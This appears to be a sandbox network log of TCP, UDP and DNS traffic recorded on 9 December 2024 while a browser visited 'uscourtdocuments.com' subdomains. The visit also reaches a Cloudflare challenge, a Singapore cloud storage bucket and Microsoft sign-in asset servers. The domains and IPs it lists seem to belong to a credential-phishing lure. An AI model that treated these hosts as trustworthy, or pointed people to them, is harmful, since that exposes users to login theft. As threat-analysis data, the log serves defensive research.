Dec 9, 2024 14:20:26.737550974 CET	443	49924	172.217.21.36	192.168.2.9
Dec 9, 2024 14:20:26.738084078 CET	49924	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:20:26.738166094 CET	443	49924	172.217.21.36	192.168.2.9
Dec 9, 2024 14:20:26.788986921 CET	49924	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:20:32.587369919 CET	49942	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:32.587439060 CET	443	49942	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:32.587506056 CET	49942	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:32.588054895 CET	49942	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:32.588069916 CET	443	49942	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:33.815042973 CET	443	49942	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:33.815382957 CET	49942	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:33.815409899 CET	443	49942	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:33.816474915 CET	443	49942	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:33.816549063 CET	49942	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:33.816904068 CET	49942	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:33.816919088 CET	49942	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:33.816967964 CET	49942	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:33.816983938 CET	443	49942	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:33.817053080 CET	49942	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:33.817306995 CET	49946	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:33.817346096 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:33.817425013 CET	49946	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:33.817591906 CET	49946	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:33.817601919 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:35.027818918 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:35.028153896 CET	49946	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:35.028183937 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:35.028512955 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:35.028836012 CET	49946	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:35.028928995 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:35.029001951 CET	49946	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:35.075335026 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:35.970585108 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:35.970714092 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:35.970819950 CET	49946	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:35.972120047 CET	49946	443	192.168.2.9	172.67.129.98
Dec 9, 2024 14:20:35.972146034 CET	443	49946	172.67.129.98	192.168.2.9
Dec 9, 2024 14:20:36.004673958 CET	49952	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:36.004728079 CET	443	49952	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:36.004832029 CET	49952	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:36.005135059 CET	49952	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:36.005147934 CET	443	49952	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:36.439858913 CET	443	49924	172.217.21.36	192.168.2.9
Dec 9, 2024 14:20:36.439937115 CET	443	49924	172.217.21.36	192.168.2.9
Dec 9, 2024 14:20:36.439987898 CET	49924	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:20:37.135265112 CET	49924	443	192.168.2.9	172.217.21.36
Dec 9, 2024 14:20:37.135302067 CET	443	49924	172.217.21.36	192.168.2.9
Dec 9, 2024 14:20:37.221843004 CET	443	49952	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:37.222188950 CET	49952	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:37.222222090 CET	443	49952	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:37.223267078 CET	443	49952	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:37.223335981 CET	49952	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:37.223748922 CET	49952	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:37.223763943 CET	49952	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:37.223818064 CET	49952	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:37.223840952 CET	443	49952	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:37.223896027 CET	49952	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:37.224184036 CET	49958	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:37.224235058 CET	443	49958	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:37.224297047 CET	49958	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:37.224488974 CET	49958	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:37.224504948 CET	443	49958	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:38.436517000 CET	443	49958	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:38.436805964 CET	49958	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:38.436836004 CET	443	49958	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:38.437191963 CET	443	49958	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:38.437587976 CET	49958	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:38.437655926 CET	443	49958	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:38.437760115 CET	49958	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:38.479332924 CET	443	49958	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:39.036293030 CET	443	49958	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:39.036379099 CET	443	49958	104.21.1.136	192.168.2.9
Dec 9, 2024 14:20:39.036530018 CET	49958	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:39.037353039 CET	49958	443	192.168.2.9	104.21.1.136
Dec 9, 2024 14:20:39.037372112 CET	443	49958	104.21.1.136	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 9, 2024 14:19:21.014215946 CET	53	58426	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:21.065987110 CET	53	64292	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:23.953078985 CET	53	55055	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:24.978884935 CET	59403	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:24.979051113 CET	51559	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:25.115933895 CET	53	59403	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:25.115948915 CET	53	51559	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:26.652987957 CET	53618	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:26.653177977 CET	55918	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:26.886296034 CET	53	53618	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:26.886796951 CET	53	55918	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:29.902498960 CET	53260	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:29.903367996 CET	62720	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:30.040577888 CET	53	53260	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:30.041311026 CET	53	62720	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:30.540640116 CET	57014	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:30.541178942 CET	58529	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:30.678006887 CET	53	58529	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:30.680140972 CET	53	57014	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:34.301182985 CET	55747	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:34.301387072 CET	53637	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:34.346610069 CET	52080	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:34.346832037 CET	60278	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:34.440680027 CET	53	55747	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:34.441664934 CET	53	53637	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:34.483195066 CET	53	60278	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:34.483252048 CET	53	52080	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:40.960792065 CET	53	60472	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:41.454112053 CET	60277	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:41.454267025 CET	55665	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:19:41.590754986 CET	53	60277	1.1.1.1	192.168.2.9
Dec 9, 2024 14:19:41.593903065 CET	53	55665	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:00.081830025 CET	53	49443	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.336395979 CET	52000	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.338777065 CET	62135	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.339189053 CET	63375	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.339323997 CET	53606	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.339788914 CET	62381	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.339982033 CET	55357	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.340992928 CET	50714	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.341150045 CET	57803	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.341695070 CET	59982	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.341922998 CET	49606	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:06.476202965 CET	53	63375	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.476481915 CET	53	62381	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.477344036 CET	53	62135	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.478265047 CET	53	55357	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.478807926 CET	53	57803	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.479731083 CET	53	50714	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.479973078 CET	53	53606	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.481136084 CET	53	54667	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.481590986 CET	53	52000	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:06.642286062 CET	53	49606	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:07.352308035 CET	49588	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:07.688465118 CET	53	59982	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:07.689011097 CET	53	49588	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:08.464977026 CET	57177	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:08.465137959 CET	55045	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:08.465672016 CET	138	138	192.168.2.9	192.168.2.255
Dec 9, 2024 14:20:08.563863993 CET	53943	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:08.564337969 CET	51035	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:08.565129995 CET	55015	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:08.565371037 CET	57534	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:08.566133022 CET	60727	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:08.566274881 CET	57319	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:08.602391005 CET	53	57177	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:08.602488995 CET	53	55045	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:08.702037096 CET	53	53943	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:08.702662945 CET	53	51035	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:08.703474045 CET	53	60727	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:08.703769922 CET	53	55015	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:08.703795910 CET	53	57534	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:08.704329967 CET	53	57319	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:09.486747980 CET	53	63582	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:12.011112928 CET	52538	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:12.011344910 CET	51904	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:12.015993118 CET	58964	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:12.016235113 CET	60529	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:12.148700953 CET	53	52538	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:12.148993015 CET	53	51904	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:12.160296917 CET	53	60529	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:12.161324978 CET	53	58964	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:16.248790979 CET	62828	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:16.249164104 CET	50683	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:16.386539936 CET	53	50683	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:16.388816118 CET	53	62828	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:19.285725117 CET	64977	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:19.285856962 CET	52915	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:19.422517061 CET	53	64977	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:19.423302889 CET	53	52915	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:19.521538019 CET	53	64637	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:20.657218933 CET	53	49383	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:21.699198961 CET	53412	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:21.699346066 CET	57787	53	192.168.2.9	1.1.1.1
Dec 9, 2024 14:20:21.835889101 CET	53	57787	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:21.838188887 CET	53	53412	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:22.765290022 CET	53	61532	1.1.1.1	192.168.2.9
Dec 9, 2024 14:20:23.290738106 CET	53	56202	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 9, 2024 14:19:24.978884935 CET	192.168.2.9	1.1.1.1	0x6e	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:24.979051113 CET	192.168.2.9	1.1.1.1	0xff34	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 9, 2024 14:19:26.652987957 CET	192.168.2.9	1.1.1.1	0x2be7	Standard query (0)	jdjdhjh.uscourtdocuments.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:26.653177977 CET	192.168.2.9	1.1.1.1	0x7127	Standard query (0)	jdjdhjh.uscourtdocuments.com	65	IN (0x0001)	false
Dec 9, 2024 14:19:29.902498960 CET	192.168.2.9	1.1.1.1	0x61f1	Standard query (0)	jdjdhjh.uscourtdocuments.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:29.903367996 CET	192.168.2.9	1.1.1.1	0xa91c	Standard query (0)	jdjdhjh.uscourtdocuments.com	65	IN (0x0001)	false
Dec 9, 2024 14:19:30.540640116 CET	192.168.2.9	1.1.1.1	0x5890	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:30.541178942 CET	192.168.2.9	1.1.1.1	0x87e1	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 14:19:34.301182985 CET	192.168.2.9	1.1.1.1	0x59b7	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:34.301387072 CET	192.168.2.9	1.1.1.1	0x5004	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 14:19:34.346610069 CET	192.168.2.9	1.1.1.1	0x9773	Standard query (0)	challenges.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:34.346832037 CET	192.168.2.9	1.1.1.1	0xe6eb	Standard query (0)	challenges.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 14:19:41.454112053 CET	192.168.2.9	1.1.1.1	0xba	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:41.454267025 CET	192.168.2.9	1.1.1.1	0xc564	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:06.336395979 CET	192.168.2.9	1.1.1.1	0x9087	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.338777065 CET	192.168.2.9	1.1.1.1	0x6d68	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:06.339189053 CET	192.168.2.9	1.1.1.1	0xfb68	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.339323997 CET	192.168.2.9	1.1.1.1	0x31cd	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:06.339788914 CET	192.168.2.9	1.1.1.1	0xa3d1	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.339982033 CET	192.168.2.9	1.1.1.1	0x87c7	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:06.340992928 CET	192.168.2.9	1.1.1.1	0x88cf	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.341150045 CET	192.168.2.9	1.1.1.1	0xfc66	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:06.341695070 CET	192.168.2.9	1.1.1.1	0x1b1d	Standard query (0)	1330394848-1323985617.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.341922998 CET	192.168.2.9	1.1.1.1	0x5828	Standard query (0)	1330394848-1323985617.cos.ap-singapore.myqcloud.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:07.352308035 CET	192.168.2.9	1.1.1.1	0x218a	Standard query (0)	1330394848-1323985617.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.464977026 CET	192.168.2.9	1.1.1.1	0x2808	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.465137959 CET	192.168.2.9	1.1.1.1	0xb1f6	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:08.563863993 CET	192.168.2.9	1.1.1.1	0xbb9e	Standard query (0)	stackpath.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.564337969 CET	192.168.2.9	1.1.1.1	0x8ec4	Standard query (0)	stackpath.bootstrapcdn.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:08.565129995 CET	192.168.2.9	1.1.1.1	0x3764	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.565371037 CET	192.168.2.9	1.1.1.1	0x7ff9	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:08.566133022 CET	192.168.2.9	1.1.1.1	0xdc8a	Standard query (0)	maxcdn.bootstrapcdn.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:08.566274881 CET	192.168.2.9	1.1.1.1	0x84db	Standard query (0)	maxcdn.bootstrapcdn.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:12.011112928 CET	192.168.2.9	1.1.1.1	0xf6c	Standard query (0)	1330394848-1323985617.cos.ap-singapore.myqcloud.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:12.011344910 CET	192.168.2.9	1.1.1.1	0x7666	Standard query (0)	1330394848-1323985617.cos.ap-singapore.myqcloud.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:12.015993118 CET	192.168.2.9	1.1.1.1	0xcf50	Standard query (0)	qtur.uscourtdocuments.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:12.016235113 CET	192.168.2.9	1.1.1.1	0x881e	Standard query (0)	qtur.uscourtdocuments.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:16.248790979 CET	192.168.2.9	1.1.1.1	0xbc22	Standard query (0)	qtur.uscourtdocuments.com	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:16.249164104 CET	192.168.2.9	1.1.1.1	0x2cef	Standard query (0)	qtur.uscourtdocuments.com	65	IN (0x0001)	false
Dec 9, 2024 14:20:19.285725117 CET	192.168.2.9	1.1.1.1	0xa3e	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:19.285856962 CET	192.168.2.9	1.1.1.1	0x8064	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false
Dec 9, 2024 14:20:21.699198961 CET	192.168.2.9	1.1.1.1	0x73e5	Standard query (0)	aadcdn.msftauth.net	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:21.699346066 CET	192.168.2.9	1.1.1.1	0x902c	Standard query (0)	aadcdn.msftauth.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 9, 2024 14:19:12.471713066 CET	1.1.1.1	192.168.2.9	0x2aa1	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:19:12.471713066 CET	1.1.1.1	192.168.2.9	0x2aa1	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:25.115933895 CET	1.1.1.1	192.168.2.9	0x6e	No error (0)	www.google.com		172.217.21.36	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:25.115948915 CET	1.1.1.1	192.168.2.9	0xff34	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 9, 2024 14:19:26.886296034 CET	1.1.1.1	192.168.2.9	0x2be7	No error (0)	jdjdhjh.uscourtdocuments.com		104.21.1.136	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:26.886296034 CET	1.1.1.1	192.168.2.9	0x2be7	No error (0)	jdjdhjh.uscourtdocuments.com		172.67.129.98	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:26.886796951 CET	1.1.1.1	192.168.2.9	0x7127	No error (0)	jdjdhjh.uscourtdocuments.com			65	IN (0x0001)	false
Dec 9, 2024 14:19:30.040577888 CET	1.1.1.1	192.168.2.9	0x61f1	No error (0)	jdjdhjh.uscourtdocuments.com		104.21.1.136	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:30.040577888 CET	1.1.1.1	192.168.2.9	0x61f1	No error (0)	jdjdhjh.uscourtdocuments.com		172.67.129.98	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:30.041311026 CET	1.1.1.1	192.168.2.9	0xa91c	No error (0)	jdjdhjh.uscourtdocuments.com			65	IN (0x0001)	false
Dec 9, 2024 14:19:30.678006887 CET	1.1.1.1	192.168.2.9	0x87e1	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 9, 2024 14:19:30.680140972 CET	1.1.1.1	192.168.2.9	0x5890	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:30.680140972 CET	1.1.1.1	192.168.2.9	0x5890	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:34.440680027 CET	1.1.1.1	192.168.2.9	0x59b7	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:34.440680027 CET	1.1.1.1	192.168.2.9	0x59b7	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:34.441664934 CET	1.1.1.1	192.168.2.9	0x5004	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 9, 2024 14:19:34.483195066 CET	1.1.1.1	192.168.2.9	0xe6eb	No error (0)	challenges.cloudflare.com			65	IN (0x0001)	false
Dec 9, 2024 14:19:34.483252048 CET	1.1.1.1	192.168.2.9	0x9773	No error (0)	challenges.cloudflare.com		104.18.95.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:34.483252048 CET	1.1.1.1	192.168.2.9	0x9773	No error (0)	challenges.cloudflare.com		104.18.94.41	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:19:41.590754986 CET	1.1.1.1	192.168.2.9	0xba	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.476202965 CET	1.1.1.1	192.168.2.9	0xfb68	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.476202965 CET	1.1.1.1	192.168.2.9	0xfb68	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.476481915 CET	1.1.1.1	192.168.2.9	0xa3d1	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.476481915 CET	1.1.1.1	192.168.2.9	0xa3d1	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.478265047 CET	1.1.1.1	192.168.2.9	0x87c7	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Dec 9, 2024 14:20:06.478807926 CET	1.1.1.1	192.168.2.9	0xfc66	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Dec 9, 2024 14:20:06.479731083 CET	1.1.1.1	192.168.2.9	0x88cf	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.479731083 CET	1.1.1.1	192.168.2.9	0x88cf	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.479973078 CET	1.1.1.1	192.168.2.9	0x31cd	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Dec 9, 2024 14:20:06.481590986 CET	1.1.1.1	192.168.2.9	0x9087	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.481590986 CET	1.1.1.1	192.168.2.9	0x9087	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.481590986 CET	1.1.1.1	192.168.2.9	0x9087	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:06.481590986 CET	1.1.1.1	192.168.2.9	0x9087	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:07.688465118 CET	1.1.1.1	192.168.2.9	0x1b1d	No error (0)	1330394848-1323985617.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:07.688465118 CET	1.1.1.1	192.168.2.9	0x1b1d	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:07.688465118 CET	1.1.1.1	192.168.2.9	0x1b1d	No error (0)	sgp.file.myqcloud.com		43.153.232.151	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:07.688465118 CET	1.1.1.1	192.168.2.9	0x1b1d	No error (0)	sgp.file.myqcloud.com		43.153.232.152	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:07.688465118 CET	1.1.1.1	192.168.2.9	0x1b1d	No error (0)	sgp.file.myqcloud.com		43.152.64.193	A (IP address)	IN (0x0001)	false
Dec 9, 2024 14:20:07.689011097 CET	1.1.1.1	192.168.2.9	0x218a	No error (0)	1330394848-1323985617.cos.ap-singapore.myqcloud.com	sgp.file.myqcloud.com		CNAME (Canonical name)	IN (0x0001)	false
Dec 9, 2024 14:20:07.689011097 CET	1.1.1.1	192.168.2.9	0x218a	No error (0)	sgp.file.myqcloud.com		43.152.64.207	A (IP address)	IN (0x0001)	false
